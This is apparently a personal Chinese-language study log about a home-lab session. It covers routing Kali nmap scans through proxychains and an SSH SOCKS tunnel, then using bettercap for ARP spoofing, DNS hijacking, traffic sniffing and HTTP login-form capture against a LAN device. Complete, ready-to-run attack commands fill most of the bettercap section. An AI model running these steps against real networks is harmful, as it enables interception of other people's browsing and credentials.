2026-05-19

05月19日

一、今日完成情况

  • 完成brew重装
  • arp欺骗实验完成
  • 测试orbstack的使用,确实非常节约内存,好用

二、今日感悟

  • 核心业务数据​:
  • ​今日工作总结:​
  • ​明日工作计划:
  • ​今日学习成长:​

三、备注

四、orbStack–kali测试

1、网络问题

kali无法绑定网卡,因此只能使用代理的方式,连接我的MacBook,然后间接的访问网络。

[ Kali 虚拟机 ] (192.168.139.19)

│ 1. 流量被 proxychains 强行拦截,打包成 SOCKS5 协议

[ OrbStack 虚拟网关 ] (192.168.139.3)

│ 2. 流量通过虚拟通道,送达 Mac 监听的 1080 端口

[ Mac 宿主机 (SSH 进程) ] (192.168.51.81)

│ 3. Mac 摘掉 SOCKS5 外壳,用原生物理网卡替 Kali 发起真实探测

[ 物理局域网目标 ] (192.168.51.106)

第一步:proxychains4 在虚拟机内“偷梁换柱”

在正常情况下,当你在 Kali 里运行 nmap 192.168.51.106 时,Kali 的系统内核会查看自己的路由表,发现自己是 139 网段,根本不知道 51 网段在哪个方向,于是直接报错 No route to host

但你在前面加了 proxychains4。这个工具利用了 Linux 的 LD_PRELOAD 机制,在 nmap 启动的瞬间,强行劫持了它的网络底层函数(connect()

  • nmap 本来以为自己是在直接往 192.168.51.106 发包。
  • 结果请求全被 proxychains4 拦截了下来,打包成了 SOCKS5 代理协议的数据包

第二步:跨越“马里亚纳海沟”的 SSH 隧道

被打包好的 SOCKS5 流量,按照你在 /etc/proxychains4.conf 里的配置,被发往了 192.168.139.3:1080(即 Mac 宿主机)。

还记得你在 Mac 终端运行的那行静止不动的命令吗?

env ALL_PROXY= ... ssh -D 1080 -N kali

这行命令在 Mac 和 Kali 之间拉起了一个 SSH 动态端口转发(Dynamic Forwarding)。它在 Mac 本地偷摸开了一个 1080 端口。当 Kali 的流量撞进 Mac 的 1080 端口时,Mac 上的 SSH 进程就会接管这批流量。

第三步:Mac 宿主机的“合法替身”

这是最关键的一步。Mac 宿主机本身就在 192.168.51.x 这个真实的物理局域网里,它拥有物理网卡(en0)的绝对控制权。

Mac 收到 Kali 发来的代理请求后,把 SOCKS5 的协议外壳剥掉,露出了里面 nmap 原本的意图:“我想看看 192.168.51.106135 端口开没开”。 接着,Mac 用自己的身份和物理 IP(.81),代替虚拟机向你的另一台电脑(.106)发起了真正的 TCP 三次握手。

当你的另一台电脑做出回应时:

  1. 另一台电脑回应给 Mac
  2. Mac 通过 SSH 隧道 传回给虚拟机内部的 proxychains4
  3. proxychains4 再把结果喂给 nmap

2、网段扫描

proxychains4 nmap -sT -Pn -p 135,445 192.168.51.0/24 | grep -B 1 -A 4 "Nmap scan report for [a-zA-Z]"
CleanShot 2026-05-19 at 17.36.09@2x

这里扫描到我自己的设备了。

3、mac环境测试

依赖环境配置如下:

bettercap(ARP 欺骗 / DNS 劫持 / 流量嗅探)
nmap(端口扫描)
proxychains-ng(代理扫描)
dsniff / arpspoof(可选,经典 ARP 欺骗)

brew安装:

brew install bettercap
brew install nmap
brew install proxychains-ng
brew install dsniff

dns劫持指令(需要注意:选定网卡启动):

sudo bettercap -iface en0

逐行运行,让被攻击者的所有网页跳转dns都解析到特定的网页:

# 锁定目标设备
set arp.spoof.targets 192.168.31.151
# 开启双向ARP
set arp.spoof.fullduplex true
# 启动ARP欺骗
arp.spoof on
# 启动DNS劫持(这次绝对不报错!)
dns.spoof on
# 设置劫持:百度跳转到B站
set dns.spoof.domains www.baidu.com,baidu.com
set dns.spoof.address 110.242.68.194
CleanShot 2026-05-19 at 23.19.24@2x CleanShot 2026-05-19 at 23.19.58@2x

偷偷查看浏览记录:

arp.spoof on
set net.sniff.verbose true
net.sniff on

仅抓HTTP 老式网站登录表单:

net.sniff on 
set net.sniff.http.requests true

还原环境指令:

arp.spoof off 
dns.spoof off 
http.inject off 
net.sniff off 
packet.loss off 
exit

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 kipleyarch@gmail.com
Archive PDF预览 PPTX Obsidian